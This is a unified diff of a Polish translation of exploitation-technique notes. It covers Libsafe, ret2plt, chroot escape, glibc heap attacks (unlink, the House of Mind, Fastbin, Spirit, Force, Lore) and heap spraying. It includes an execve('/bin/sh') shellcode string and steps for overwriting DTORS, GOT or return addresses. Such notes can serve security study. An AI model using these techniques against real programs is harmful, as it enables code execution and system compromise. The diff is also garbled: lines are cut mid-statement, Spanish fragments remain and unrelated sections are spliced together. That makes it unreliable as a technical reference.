bufora jako maksymalnego rozmiaru do skopiowania. -Różnica między =1 a =2 polega na tym, że: +Różnica między **=1** a **=2** polega na tym, że: -Druga nie pozwala na to, aby %n pochodziło z sekcji z uprawnieniami do zapisu. Ponadto, parametr dla bezpośredniego dostępu do argumentów może być używany tylko wtedy, gdy używane są wcześniejsze, czyli można użyć %3$d tylko jeśli wcześniej użyto %2$d i %1$d. +Druga nie pozwala, aby **%n** pochodziło z sekcji z uprawnieniami do zapisu. Ponadto parametr do bezpośredniego dostępu do argumentów może być używany tylko wtedy, gdy używane są wcześniejsze, czyli można użyć **%3$d** tylko jeśli wcześniej użyto **%2$d** i **%1$d** -Aby wyświetlić komunikat o błędzie, używa się argv[0], więc jeśli podasz tam adres innego miejsca (takiego jak zmienna globalna), komunikat o błędzie pokaże zawartość tej zmiennej. Strona 191 +Aby wyświetlić komunikat o błędzie, używa się argv\[0\], więc jeśli umieścisz tam adres innego miejsca (np. zmiennej globalnej), komunikat o błędzie pokaże zawartość tej zmiennej. Strona 191 -Zastąpienie Libsafe +**Zastąpienie Libsafe** -Aktywuje się to za pomocą: LD_PRELOAD=/lib/libsafe.so.2 -lub -"/lib/libsave.so.2" > /etc/ld.so.preload +Włącza się to za pomocą: LD\_PRELOAD=/lib/libsafe.so.2\ +lub\ +“/lib/libsave.so.2” > /etc/ld.so.preload -Niektóre niebezpieczne wywołania funkcji są przechwytywane przez inne bezpieczne wywołania. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla kompilacji statycznych, nie wszystkie podatne funkcje stają się bezpieczne, a LD_PRELOAD nie działa w binarnych z suid). +Niektóre niebezpieczne funkcje są zastępowane bezpieczniejszymi. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla kompilacji statycznych, nie wszystkie funkcje podatne na atak stają się bezpieczne, a LD\_PRELOAD nie działa w binariach z ustawionym suid). -ASCII Armored Address Space +**ASCII Armored Address Space** -Polega na ładowaniu współdzielonych bibliotek od 0x00000000 do 0x00ffffff, aby zawsze istniał bajt 0x00. Jednakże, to naprawdę nie zatrzymuje praktycznie żadnego ataku, a tym bardziej w little endian. +Polega na ładowaniu współdzielonych bibliotek od 0x00000000 do 0x00ffffff, aby zawsze był bajt 0x00. Jednakże to praktycznie nie zatrzymuje żadnego ataku, a tym bardziej w little endian. -ret2plt +**ret2plt** -Polega na wykonaniu ROP w taki sposób, że wywoływana jest funkcja strcpy@plt (z plt) i wskaźnik jest skierowany do wpisu w GOT, a następnie kopiowany jest pierwszy bajt funkcji, do której chcemy się odwołać (system()). Następnie to samo jest robione, kierując się na GOT+1 i kopiując drugi bajt system()... Na koniec jest wywoływany adres przechowywany w GOT, który będzie systemem(). +Polega na wykonaniu ROP w taki sposób, że wywoływana jest funkcja strcpy@plt (z plt), a następnie wskazuje się na wpis w GOT i kopiowany jest pierwszy bajt funkcji, do której chcemy się odwołać (system()). Następnie to samo jest robione wskazując na GOT+1 i kopiując 2. bajt system()... Na końcu wywoływany jest zapisany adres w GOT, który będzie system() -Falso EBP +**Falso EBP** -Dla funkcji, które używają EBP jako rejestru wskazującego na argumenty, po zmodyfikowaniu EIP i wskazaniu na system(), EBP również musi zostać zmieniony, aby wskazywał na obszar pamięci zawierający 2 dowolne bajty, a następnie adres &"/bin/sh". +Dla funkcji, które używają EBP jako rejestru wskazującego na argumenty, zmieniając EIP i wskazując na system(), EBP również musi zostać zmieniony, aby wskazywał na obszar pamięci zawierający 2 dowolne bajty, a następnie adres do &”/bin/sh”. -Klatki z chroot() +**Jaulas con chroot()** -debootstrap -arch=i386 hardy /home/user -> Instaluje podstawowy system w określonym podkatalogu +debootstrap -arch=i386 hardy /home/user —> Instaluje podstawowy system w określonym podkatalogu -Administrator może wyjść z takiej klatki, wykonując: mkdir foo; chroot foo; cd .. +Administrator może wyjść z takiej klatki wykonując: mkdir foo; chroot foo; cd .. -Instrumentacja kodu +**Instrumentacja kodu** -Valgrind -> Szuka błędów -Memcheck -RAD (Return Address Defender) +Valgrind —> Wyszukuje błędy\ +Memcheck\ +RAD (Return Address Defender)\ Insure++ ## **8 Przepełnienia sterty: Podstawowe ataki** -Przydzielony fragment +**Przydzielony kawałek** -prev_size | -size | - Nagłówek -*mem | Dane +prev\_size |\ +size | —Nagłówek\ +\*mem | Dane -Wolny fragment +**Wolny kawałek** -prev_size | -size | -*fd | Wskaźnik do przodu -*bk | Wskaźnik do tyłu - Nagłówek -*mem | Dane +prev\_size |\ +size |\ +\*fd | Wskaźnik do przodu\ +\*bk | Wskaźnik do tyłu —Nagłówek\ +\*mem | Dane -Wolne fragmenty są przechowywane w liście dwukierunkowej (bin) i nigdy nie mogą występować dwa wolne fragmenty obok siebie (są łączone). +Wolne kawałki są w liście podwójnie połączonej (bin) i nigdy nie mogą występować dwa wolne kawałki obok siebie (są łączone) -W polu "size" są bity wskazujące: czy poprzedni fragment jest używany, czy fragment został przydzielony za pomocą mmap() i czy fragment należy do głównego obszaru. +W "size" są bity wskazujące: czy poprzedni kawałek jest używany, czy kawałek został przydzielony za pomocą mmap() i czy kawałek należy do głównego obszaru. -Jeśli podczas zwalniania fragmentu którykolwiek z sąsiednich fragmentów jest wolny, są one łączone za pomocą makra unlink() i największy nowy fragment jest przekazywany do frontlink() w celu wstawienia go do odpowiedniego binu. +Jeśli zwolniony kawałek ma sąsiednie wolne kawałki, są one łączone za pomocą makra unlink() i nowy, większy kawałek jest przekazywany do frontlink(), aby wstawić go do odpowiedniego binu. -unlink(){ -BK = P->bk; -> BK nowego fragmentu to ten, który miał już wcześniej wolny fragment -FD = P->fd; -> FD nowego fragmentu to ten, który miał już wcześniej wolny fragment -FD->bk = BK; -> BK następnego fragmentu wskazuje na nowy fragment -BK->fd = FD; -> FD poprzedniego fragmentu wskazuje na nowy fragment +unlink(){\ +BK = P->bk; —> BK nowego kawałka to ten, który miał już wcześniej wolny kawałek\ +FD = P->fd; —> FD nowego kawałka to ten, który miał już wcześniej wolny kawałek\ +FD->bk = BK; —> BK następnego kawałka wskazuje na nowy kawałek\ +BK->fd = FD; —> FD poprzedniego kawałka wskazuje na nowy kawałek\ } -Dlatego jeśli uda nam się zmodyfikować P->bk adresem shellcode i P->fd adresem wpisu w GOT lub DTORS pomniejszonym o 12, osiągniemy: +Dlatego jeśli uda nam się zmodyfikować P->bk na adres shellcode i P->fd na adres z GOT lub DTORS pomniejszony o 12, osiągniemy: -BK = P->bk = &shellcode -FD = P->fd = &__dtor_end__ - 12 -FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode +BK = P->bk = \&shellcode\ +FD = P->fd = &\_\_dtor\_end\_\_ - 12\ +FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode -W ten sposób po wyjściu z programu zostanie wykonany shellcode. +W ten sposób po opuszczeniu programu zostanie wykonana shellcode. -Dodatkowo, czwarte polecenie unlink() zapisuje coś, a shellcode musi być dostosowany do tego: +Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być dostosowana do tego: -BK->fd = FD -> *((&shellcode + 8) = (&__dtor_end__ - 12) -> Spowoduje to zapisanie 4 bajtów od 8 bajtu shellcode, dlatego pierwsza instrukcja shellcode musi być skokiem, aby ominąć to i przejść do nops, które prowadzą do reszty shellcode. +BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Powoduje to zapisanie 4 bajtów od 8 bajtu shellcode, więc pierwsza instrukcja shellcode musi być skokiem, aby ominąć to i przejść do nops prowadzących do reszty shellcode. -Dl +Dlatego exploit jest tworzony: + +W buforze1 umieszczamy shellcode zaczynając od skoku, aby przejść do nops lub reszty shellcode. + +Po shellcode dodajemy wypełnienie do osiągnięcia pola prev\_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (aby nadpisać prev\_size i ustawić bit informujący, że jest wolny) i “-4“(0xfffffffc) w size (aby podczas sprawdzania w 3. kawałku, czy 2. był wolny, faktycznie przejdzie do zmodyfikowanego prev\_size, który powie, że jest wolny) -> Dlatego gdy free() sprawdza, przejdzie do size 3., ale faktycznie przejdzie do 2. - 4 i uzna, że 2. kawałek jest wolny. Następnie zostanie wywołane **unlink()**. + +Podczas wywoływania unlink() używa się jako P->fd pierwszych danych z 2. kawałka, więc tam zostanie wstawiony adres do nadpisania - 12 (ponieważ w FD->bk zostanie dodane 12 do adresu przechowywanego w FD). A pod tą adresem wprowadzana jest druga adresem znaleziona w 2. kawałku, która będzie interesująca dla nas jako adres shellcode (fałszywy P->bk). + +**from struct import \*** + +**import os** + +**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** -**prev\_size = pack("\ Zwraca wskaźnik na adres, od którego zaczyna się chunk (mem-8) +p = mem2chunk(mes); —> Zwraca wskaźnik na adres początku kawałka (mem-8) … -ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1] +ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1] … -_int_free(ar_ptr, mem); +\_int\_free(ar\_ptr, mem); } -W [1] sprawdzane jest pole size i bit NON_MAIN_ARENA, które można zmienić, aby sprawdzenie zwróciło true i wywołało heap_for_ptr(), które wykonuje operację and na "mem", ustawiając na 0 najmniej znaczące 2,5 bajta (w naszym przypadku z 0x0804a000 zostaje 0x08000000) i uzyskuje dostęp do 0x08000000->ar_ptr (jakby to był struct heap_info). +W \[1] sprawdzany jest rozmiar pola bitowego NON\_MAIN\_ARENA, który można zmienić, aby sprawdzenie zwróciło true i wywołało heap\_for\_ptr(), które wykonuje operację and na "mem", ustawiając na 0 2,5 najmniej znaczących bajtów (w naszym przypadku z 0x0804a000 robi 0x08000000) i uzyskuje dostęp do 0x08000000->ar\_ptr (jak do struct heap\_info) -W ten sposób, jeśli możemy kontrolować chunk na przykład w 0x0804a000, a chunk w **0x081002a0** ma zostać zwolniony, możemy dotrzeć do adresu 0x08100000 i zapisać tam dowolne dane, na przykład **0x0804a000**. Gdy ten drugi chunk zostanie zwolniony, okaże się, że heap_for_ptr(ptr)->ar_ptr zwraca to, co zapisaliśmy w 0x08100000 (ponieważ jest stosowane and do 0x081002a0, które widzieliśmy wcześniej, i stamtąd pobierana jest wartość pierwszych 4 bajtów, ar_ptr) +Dlatego jeśli możemy kontrolować kawałek na przykład w 0x0804a000 i kawałek zostanie zwolniony w **0x081002a0**, możemy dotrzeć do adresu 0x08100000 i zapisać, na przykład, **0x0804a000**. Gdy ten drugi kawałek zostanie zwolniony, heap\_for\_ptr(ptr)->ar\_ptr zwróci to, co napisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 operację and, którą widzieliśmy wcześniej, i stąd wyciąga wartość 4 pierwszych bajtów, ar\_ptr) -W ten sposób wywoływane jest \_int\_free(ar_ptr, mem), czyli **\_int\_free(0x0804a000, 0x081002a0)**\ -**\_int\_free(mstate av, Void_t\* mem){**\ +W ten sposób zostanie wywołane \_int\_free(ar\_ptr, mem), czyli **\_int\_free(0x0804a000, 0x081002a0)**\ +**\_int\_free(mstate av, Void\_t\* mem){**\ …\ -bck = unsorted_chunks(av);\ +bck = unsorted\_chunks(av);\ fwd = bck->fd;\ p->bk = bck;\ p->fd = fwd;\ @@ -890,23 +765,35 @@ fwd->bk = p; ..} -Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ jest to to, co piszemy w zwalnianym chunku. +Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co piszemy w zwalnianym kawałku, jest tym, co zostanie zapisane. -Tak jak jest zdefiniowane unsorted_chunks, wiemy, że:\ +Zgodnie z definicją unsorted\_chunks, wiemy, że:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; -Dlatego jeśli w av->bins\[2] zapiszemy wartość \_\_DTOR\_END\_\_-12, w ostatniej instrukcji zostanie zapisane w \_\_DTOR\_END\_\_ adres drugiego chunka -Ta technika nie jest już stosowana, ponieważ zastosowano prawie ten sam patch co dla unlink. Sprawdza się, czy nowa lokalizacja, do której się odwołuje, również odwołuje się do niego. +Dlatego jeśli w av->bins\[2] zapiszemy wartość \_\_DTOR\_END\_\_-12, w ostatniej instrukcji zostanie zapisane w \_\_DTOR\_END\_\_ adres drugiego kawałka. + +Innymi słowy, na początku pierwszego kawałka musimy umieścić wiele razy adres \_\_DTOR\_END\_\_-12, ponieważ av->bins\[2] to z niego weźmie. + +W miejscu, gdzie znajdzie się adres drugiego kawałka z ostatnimi 5 zerami, musimy zapisać adres tego pierwszego kawałka, aby heap\_for\_ptr() myślał, że ar\_ptr zaczyna się na początku pierwszego kawałka i wyciągnął z niego av->bins\[2] + +W drugim kawałku, dzięki pierwszemu, nadpisujemy prev\_size skokiem 0x0c i rozmiarem czegoś, aby aktywować -> NON\_MAIN\_ARENA + +Następnie w kawałku 2 umieszczamy mnóstwo nops i na końcu shellcode + +W ten sposób zostanie wywołane \_int\_free(KAWAŁEK1, KAWAŁEK2) i będzie postępować zgodnie z instrukcjami, aby zapisać w \_\_DTOR\_END\_\_ adres prev\_size KAWAŁKA2, który skoczy do shellcode. + +Aby zastosować tę technikę, należy spełnić kilka dodatkowych wymagań, co trochę komplikuje payload. +Ta technika nie jest już stosowana, ponieważ został zastosowany prawie ten sam patch co dla unlink. Sprawdzane jest, czy nowa lokalizacja, do której się odwołuje, również odwołuje się do niej. **Fastbin** -Jest to wariant The house of mind. +To wariant The House of Mind -Interesuje nas wykonanie następującego kodu, który jest osiągany po pierwszej weryfikacji funkcji \_int\_free() +Interesuje nas wykonanie następującego kodu, do którego dochodzi po pierwszej weryfikacji funkcji \_int\_free() -fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2 +fb = &(av->fastbins\[fastbin\_index(size)] —> Gdzie fastbin\_index(sz) —> (sz >> 3) - 2 … @@ -914,61 +801,61 @@ p->fd = \*fb \*fb = p -W ten sposób, jeśli wpiszemy "fb", otrzymamy adres funkcji w GOT, na tym adresie zostanie umieszczony adres nadpisanego fragmentu. Aby to osiągnąć, arena musi znajdować się blisko adresów dtors. Dokładniej mówiąc, av->max\_fast musi znajdować się pod adresem, który zamierzamy nadpisać. +W ten sposób, jeśli umieścimy w "fb" adres funkcji w GOT, pod tym adresem umieszczony zostanie adres nadpisanej części. Aby to osiągnąć, konieczne jest, aby arena była blisko adresów dtors. Dokładniej mówiąc, av->max\_fast musi znajdować się pod adresem, który zamierzamy nadpisać. -Ponieważ w The House of Mind zauważono, że kontrolujemy pozycję av. +Ponieważ w The House of Mind zauważono, że kontrolowaliśmy pozycję av. -Jeśli więc w polu size podamy rozmiar 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() zwróci fastbins\[-1\], który wskazuje na av->max\_fast +Jeśli więc w polu size podamy rozmiar 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() zwróci fastbins\[-1\], który wskaże na av->max\_fast -W tym przypadku av->max\_fast będzie adresem, który zostanie nadpisany (nie wskazuje na niego, ale ta pozycja zostanie nadpisana). +W tym przypadku av->max\_fast będzie adresem, który zostanie nadpisany (nie ten, do którego wskazuje, ale ta pozycja zostanie nadpisana). -Ponadto, fragment sąsiadujący z uwolnionym fragmentem musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego fragmentu wynosi 8, w tym fałszywym fragmencie musimy po prostu umieścić rozmiar większy niż 8 (ponieważ shellcode zostanie umieszczony w uwolnionym fragmencie, na początku trzeba umieścić skok, który wpadnie w nops). +Ponadto musi być spełniony warunek, że fragment obok zwolnionego musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego fragmentu to 8, w tym fałszywym fragmencie wystarczy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w zwolnionym fragmencie, na początku trzeba umieścić skok, który trafi w nopy). -Ponadto, ten sam fałszywy fragment musi być mniejszy niż av->system\_mem. av->system\_mem znajduje się 1848 bajtów dalej. +Ponadto ten sam fałszywy fragment musi być mniejszy niż av->system\_mem. av->system\_mem znajduje się 1848 bajtów dalej. -Ze względu na zera z \_DTOR\_END\_ i niewiele adresów w GOT, żaden z tych adresów sekcji nie nadaje się do nadpisania, więc zobaczmy, jak zastosować fastbin do ataku na stos. +Z powodu zer w \_DTOR\_END\_ i niewielu adresów w GOT, żaden z tych sektorów nie nadaje się do nadpisania, zobaczmy więc, jak zastosować fastbin do ataku na stos. Innym sposobem ataku jest przekierowanie **av** na stos. -Jeśli zmienimy rozmiar na 16 zamiast 8, wtedy: fastbin\_index() zwróci fastbins\[0\] i możemy z tego skorzystać, aby nadpisać stos. +Jeśli zmienimy rozmiar na 16 zamiast 8, wtedy: fastbin\_index() zwróci fastbins\[0\] i możemy tego użyć do nadpisania stosu. -W tym celu na stosie nie powinno być żadnych canary ani dziwnych wartości, faktycznie musimy być w takim układzie: 4 bajty zerowe + EBP + RET +W tym celu nie powinno być żadnych canary ani dziwnych wartości na stosie, faktycznie musimy znaleźć się w takim miejscu: 4 bajty zerowe + EBP + RET -4 bajty zerowe są potrzebne, aby **av** było na tym adresie, a pierwszy element **av** to mutex, który musi wynosić 0. +4 bajty zerowe są potrzebne, aby **av** znajdował się pod tym adresem, a pierwszy element **av** to mutex, który musi wynosić 0. **av->max\_fast** będzie EBP i będzie wartością, która pozwoli nam ominąć ograniczenia. -W **av->fastbins\[0\]** zostanie nadpisany adresem **p** i będzie to RET, co spowoduje skok do shellcode. +W **av->fastbins\[0\]** zostanie nadpisany adresem **p** i będzie RET, dzięki czemu nastąpi skok do shellcode. -Ponadto, w **av->system\_mem** (1484 bajty powyżej pozycji na stosie) będzie dużo śmieci, które pozwolą nam ominąć sprawdzanie. +Ponadto w **av->system\_mem** (1484 bajty powyżej pozycji na stosie) będzie dużo śmieci, które pozwolą nam ominąć sprawdzanie. -Ponadto, fragment sąsiadujący z uwolnionym fragmentem musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego fragmentu wynosi 16, w tym fałszywym fragmencie musimy po prostu umieścić rozmiar większy niż 8 (ponieważ shellcode zostanie umieszczony w uwolnionym fragmencie, na początku trzeba umieścić skok, który wpadnie w nops, które znajdują się po polu size nowego fałszywego fragmentu). +Ponadto musi być spełniony warunek, że fragment obok zwolnionego musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego fragmentu to 16, w tym fałszywym fragmencie wystarczy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w zwolnionym fragmencie, na początku trzeba umieścić skok, który trafi w nopy, które znajdują się po polu size nowego fałszywego fragmentu). **The House of Spirit** -W tym przypadku szukamy wskaźnika na malloc, który może być zmieniony przez atakującego (np. wskaźnik znajduje się na stosie podczas możliwego przepełnienia zmiennej). +W tym przypadku chcemy mieć wskaźnik do malloc, który może być modyfikowany przez atakującego (np. wskaźnik znajduje się na stosie pod potencjalnym przepełnieniem zmiennej). -W ten sposób możemy sprawić, że ten wskaźnik wskazuje gdziekolwiek. Jednak nie każde miejsce jest ważne, rozmiar fałszywego fragmentu musi być mniejszy niż av->max\_fast i bardziej szczegółowo równy rozmiarowi żądanemu w przyszłym wywołaniu malloc()+8. Dlatego, jeśli wiemy, że po tym podatnym wskaźniku następuje wywołanie malloc(40), rozmiar fałszywego fragmentu musi wynosić 48. +W ten sposób możemy sprawić, że ten wskaźnik wskazuje dokądkolwiek. Jednak nie każde miejsce jest odpowiednie, rozmiar fałszywego fragmentu musi być mniejszy niż av->max\_fast i bardziej konkretne, równy rozmiarowi żądanemu w przyszłym wywołaniu malloc()+8. Dlatego jeśli wiemy, że po tym podatnym wskaźniku następuje wywołanie malloc(40), rozmiar fałszywego fragmentu musi wynosić 48. -Na przykład, jeśli program pyta użytkownika o liczbę, możemy wprowadzić 48 i skierować modyfikowalny wskaźnik malloc na następne 4 bajty (które mogą należeć do EBP, jeśli mamy szczęście, w ten sposób 48 zostaje z tyłu, jakby to była nagłówka size). Ponadto, adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), to znaczy, 8 < ptr-4+48 < av->system\_mem. +Na przykład, jeśli program pyta użytkownika o liczbę, możemy wprowadzić 48 i skierować modyfikowalny wskaźnik malloc na następne 4 bajty (które mogą należeć do EBP, a więc 48 pozostaje z tyłu, jakby to była nagłówek rozmiaru). Ponadto, adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), czyli 8 < ptr-4+48 < av->system\_mem. -Jeśli to jest spełnione, gdy zostanie wywołane kolejne malloc, które powiedzieliśmy, że jest malloc(40), zostanie mu przypisany adres EBP. Jeśli atakujący może również kontrolować to, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem. +Jeśli to się spełni, gdy zostanie wywołany kolejny malloc, który powiedzieliśmy, że to malloc(40), zostanie mu przypisany adres EBP. Jeśli atakujący może również kontrolować to, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem. -Myślę, że jest to dlatego, że kiedy zostanie zwolnione free(), zostanie zapisane, że w miejscu, które wskazuje EBP na stosie, znajduje się fragment o idealnym rozmiarze dla nowego malloc(), który chce zarezerwować, więc przypisuje mu ten adres. +Wygląda na to, że dlatego, gdy zostanie zwolniony free(), zostanie zapisane, że w miejscu wskazującym na EBP stosu znajduje się fragment o idealnym rozmiarze dla nowego malloc(), który chce zarezerwować, więc przypisuje mu ten adres. **The House of Force** Wymagane jest: -* Przepełnienie fragmentu, które umożliwia nadpisanie wilderness +* Przepełnienie fragmentu, które pozwala na nadpisanie wilderness * Wywołanie malloc() z rozmiarem zdefiniowanym przez użytkownika * Wywołanie malloc(), których dane mogą być zdefiniowane przez użytkownika -Pierwszą rzeczą, jaką robimy, jest nadpisanie rozmiaru fragmentu wilderness bardzo dużą wartością (0xffffffff), dzięki czemu każde żądanie pamięci wystarczająco duże będzie obsługiwane w \_int\_malloc() bez konieczności rozszerzania sterty. +Najpierw należy nadpisać rozmiar fragmentu wilderness bardzo dużą wartością (0xffffffff), dzięki czemu każde żądanie pamięci wystarczająco duże będzie obsługiwane w \_int\_malloc() bez konieczności rozszerzania sterty. -Drugą rzeczą jest zmiana av->top, aby wskazywał na obszar pamięci kontrolowany przez atakującego, tak jak stos. W av->top umieszczamy \&EIP - 8. +Następnie zmieniamy av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, tak jak stos. W av->top umieszczamy \&EIP - 8. -Musimy nadpisać av->top, aby wskazywał na obszar pamięci kontrolowany przez atakującego: +Musimy nadpisać av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego: victim = av->top; @@ -976,65 +863,72 @@ remainder = chunck\_at\_offset(victim, nb); av->top = remainder; -Victim przechwytuje wartość adresu bieżącego fragmentu wilderness (aktualne av->top), a remainder to dokładnie suma tego adresu plus liczba bajtów żądanych przez malloc(). Dlatego jeśli \&EIP-8 znajduje się w 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym mallocu, aby av->top wskazywał na $EIP-8 dla następnego malloc(), wynosi: +Victim przechwytuje adres bieżącego obszaru wilderness (aktualny av->top), a remainder to dokładnie suma tego adresu plus ilość bajtów żądanych przez malloc(). Dlatego jeśli \&EIP-8 znajduje się pod adresem 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc(), wynosi: 0xbffff224 - 0x080c2788 = 3086207644. -W ten sposób -## Wprowadzenie +W ten sposób zostanie zapisana zmieniona wartość w av->top, a następny malloc wskaże na EIP i będzie można go nadpisać. -W tym rozdziale omówione zostaną podstawowe techniki wykorzystywane przy atakach na systemy Linux. Przedstawione zostaną dwie metody eksploatacji: nadpisywanie sterty (heap) oraz manipulacja dużymi blokami (LargeBin). Opisane zostaną również techniki heap spraying oraz heap feng shui. Na końcu znajduje się lista przydatnych poleceń i odnośniki do dodatkowych materiałów. +Ważne jest, aby rozmiar nowego obszaru wilderness był większy niż żądanie ostatniego malloc(). Innymi słowy, jeśli wilderness wskazuje na \&EIP-8, rozmiar zostanie dokładnie w polu EBP stosu. -## Nadpisywanie sterty (Heap Overflow) +**The House of Lore** -W tej technice wykorzystuje się dwie alokacje pamięci przy użyciu funkcji `malloc`. Pierwsza alokacja jest mniejsza od drugiej, tak aby można było nadpisać pierwszy blok po zwolnieniu drugiego bloku i umieszczeniu go w odpowiednim binie. Następnie, poprzez nadpisanie wskaźnika `bk` w drugim bloku, można oszukać bin i spowodować, że uwierzy, iż następny blok na liście znajduje się pod fałszywym adresem. W ten sposób, przy kolejnej alokacji, atakujący otrzyma blok o pożądanym adresie, na którym będzie mógł zapisywać dane. +**Corrupción SmallBin** -Aby wykorzystać tę podatność, należy wykonać następujące kroki: -1. Zaalokować podatny blok. -2. Zaalokować blok, który zostanie zmodyfikowany. -3. Zwolnić drugi blok. -4. Zaalokować blok większy od zwolnionego, aby ten ostatni trafił do odpowiedniego bina. -5. Wykorzystać nadpisanie wskaźnika `bk` w drugim bloku, aby wskazywał na pożądany adres. -6. Poczekać, aż bin zostanie użyty wystarczającą ilość razy, aby uwierzył, że następny blok znajduje się pod fałszywym adresem. -7. Otrzymać pożądany blok. +Zwolnione fragmenty są umieszczane w bin w zależności od ich rozmiaru. Ale zanim zostaną umieszczone, są przechowywane w nieuporządkowanych binach. Fragment nie jest natychmiast umieszczany w swoim binie, ale pozostaje w nieuporządkowanych binach. Następnie, jeśli zostanie zarezerwowany nowy fragment i poprzedni zwolniony może być użyty, zostanie on zwrócony, ale jeśli zostanie zarezerwowany większy, zwolniony fragment w nieuporządkowanych binach zostanie umieszczony w odpowiednim binie. -Aby zabezpieczyć się przed tym atakiem, można zastosować standardową metodę sprawdzania, czy blok nie jest fałszywy. Sprawdza się, czy wskaźnik `bck->fd` wskazuje na prawdziwy blok. Atakujący musiałby być w stanie w jakiś sposób zapisać odpowiedni adres (prawdopodobnie na stosie) w miejscu wskazywanym przez fałszywy blok, aby wydawał się on prawdziwy. +Aby osiągnąć podatny kod, żądanie pamięci musi być większe niż av->max\_fast (zazwyczaj 72) i mniejsze niż MIN\_LARGE\_SIZE (512). -## Manipulacja dużymi blokami (LargeBin Corruption) +Jeśli w binie znajduje się fragment o odpowiednim rozmiarze, zostanie on zwrócony po odłączeniu: -W tej technice również wykorzystuje się nadpisywanie wskaźnika `bk`, ale dodatkowo trzeba zmodyfikować rozmiar bloku tak, aby różnica między rozmiarem a `nb` była mniejsza od `MINSIZE`. Na przykład, jeśli ustawimy rozmiar na 1552, to 1552 - 1544 = 8 < `MINSIZE` (różnica nie może być ujemna, ponieważ porównywane są liczby bez znaku). +bck = victim->bk; Wskaże poprzedni fragment, to jedyna informacja, którą możemy zmienić. -Dodatkowo, wprowadzono łatkę, aby utrudnić atakującemu wykonanie tego ataku. +bin->bk = bck; Przedostatni fragment staje się ostatnim, jeśli bck wskazuje na stos, następnemu zarezerwowanemu fragmentowi zostanie przypisany ten adres -## Heap Spraying +bck->fd = bin; Lista zostaje zamknięta, wskazując na bin -Ta technika polega na zarezerwowaniu jak największej ilości pamięci dla sterty i wypełnieniu jej poduszką z instrukcjami `nop`, zakończoną kodem powłoki (shellcode). Jako poduszki używa się wartości `0x0c`. Następnie, próbuje się skoczyć do adresu `0x0c0c0c0c`, aby w przypadku nadpisania jakiegoś wskaźnika i skoku na tę wartość, program wykonał kod powłoki. Podstawową taktyką jest zarezerwowanie jak największej ilości pamięci, aby sprawdzić, czy któryś wskaźnik zostanie nadpisany, a następnie skoczyć do `0x0c0c0c0c`, zakładając, że tam znajdują się instrukcje `nop`. +Wymagane jest: +Zarezerwuj dwie pamięci malloc, tak aby pierwsza mogła zostać przepełniona po zwolnieniu drugiej i umieszczeniu jej w swoim binie (czyli zarezerwowano malloc większy niż drugi kawałek przed przepełnieniem). -## Heap Feng Shui +Zarezerwowana pamięć, do której atakujący wybiera adres, jest kontrolowana przez atakującego. -Ta technika polega na rezerwacji i zwalnianiu pamięci w taki sposób, aby między wolnymi blokami pozostawały zarezerwowane bloki. Bufor, który zostanie nadpisany, zostanie umieszczony w jednym z tych bloków. +Celem jest, jeśli możemy przepełnić stertę, która ma zwolniony kawałek poniżej i znajduje się w jego binie, możemy zmienić wskaźnik bk. Jeśli zmienimy wskaźnik bk i ten kawałek stanie się pierwszy na liście binów i zostanie zarezerwowany, oszukamy bin i powiemy mu, że następny kawałek na liście (następny do zaoferowania) znajduje się pod fałszywym adresem, który podaliśmy (na przykład na stosie lub GOT). W ten sposób, jeśli zostanie zarezerwowany kolejny kawałek i atakujący ma uprawnienia do niego, zostanie mu przydzielony kawałek na żądanej pozycji i będzie mógł w nią pisać. -## Przydatne polecenia +Po zwolnieniu zmodyfikowanego kawałka konieczne jest zarezerwowanie większego kawałka niż zwolniony, aby zmodyfikowany kawałek wyszedł z nieuporządkowanych binów i został umieszczony w swoim binie. -* `objdump -d executable` - wyświetla rozkłady funkcji -* `objdump -d ./PROGRAMA | grep FUNCTION` - pobiera adres funkcji -* `objdump -d -Mintel ./shellcodeout` - wyświetla kod asemblera i opcode'y -* `objdump -t ./exec | grep varBss` - 